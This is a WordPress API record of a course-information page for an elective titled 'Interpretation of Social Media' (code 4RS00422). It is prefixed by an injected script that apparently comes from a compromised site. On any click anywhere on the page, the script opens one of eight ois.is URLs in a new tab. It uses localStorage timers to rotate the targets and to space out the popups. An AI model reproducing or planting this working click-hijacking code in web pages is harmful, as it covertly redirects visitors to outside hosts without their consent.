<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1708,"date":"2021-06-17T18:08:23","date_gmt":"2021-06-17T10:08:23","guid":{"rendered":"https:\/\/edu.secda.info\/chewei_course8\/?page_id=1708"},"modified":"2021-06-17T18:12:58","modified_gmt":"2021-06-17T10:12:58","slug":"%e8%aa%b2%e7%a8%8b%e8%a8%8a%e6%81%af","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/chewei_course8\/?page_id=1708","title":{"rendered":"\u8ab2\u7a0b\u8a0a\u606f"},"content":{"rendered":"<p>\u4e2d\u6587\u8ab2\u540d\uff1a<span id=\"M_CH_LESSON\">\u793e\u7fa4\u5a92\u9ad4\u8a66\u8b80<\/span><br \/>\n\u82f1\u6587\u8ab2\u540d\uff1a<span id=\"M_ENG_LESSON\">Interpretation of Social Media<\/span><br \/>\n\u8ab2\u7a0b\u4ee3\u78bc\uff1a<span id=\"M_COSID\">4RS00422<\/span><br \/>\n\u958b\u8ab2\u7cfb\u6240\uff1a\u4f11\u9592\u904b\u52d5\u5b78\u7cfb<br \/>\n\u9078\u8ab2\u985e\u5225\uff1a\u9078\u4fee<br \/>\n\u5b78\u5206\uff1a2<br \/>\n\u6642\u6578\uff1a2<br \/>\n\u958b\u8ab2\u5e74\u73ed\uff1a<span id=\"M_GradeClassId\">1\u5e74\u7d1a\u00a0402-\u4f11\u95921A<\/span><br \/>\n\u4eba\u6578\u4e0a\u9650\uff1a25<br \/>\n\u4eba\u6578\u4e0b\u9650\uff1a15<br \/>\n\u5408\u6388\u6559\u5e2b\u59d3\u540d\uff1a\u5f35\u54f2\u7dad<br \/>\n\u7b2c\u4e09\u968e\u6bb5\u662f\u5426\u958b\u653e\u7db2\u8def\u52a0\u9078\uff1a\u662f<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e2d\u6587\u8ab2\u540d\uff1a\u793e\u7fa4\u5a92\u9ad4\u8a66\u8b80 \u82f1\u6587\u8ab2\u540d\uff1aInterpretation of Socia<\/p>\n","protected":false},"author":14,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=\/wp\/v2\/pages\/1708"}],"collection":[{"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=\/wp\/v2\/users\/14"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1708"}],"version-history":[{"count":3,"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=\/wp\/v2\/pages\/1708\/revisions"}],"predecessor-version":[{"id":1712,"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=\/wp\/v2\/pages\/1708\/revisions\/1712"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1708"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}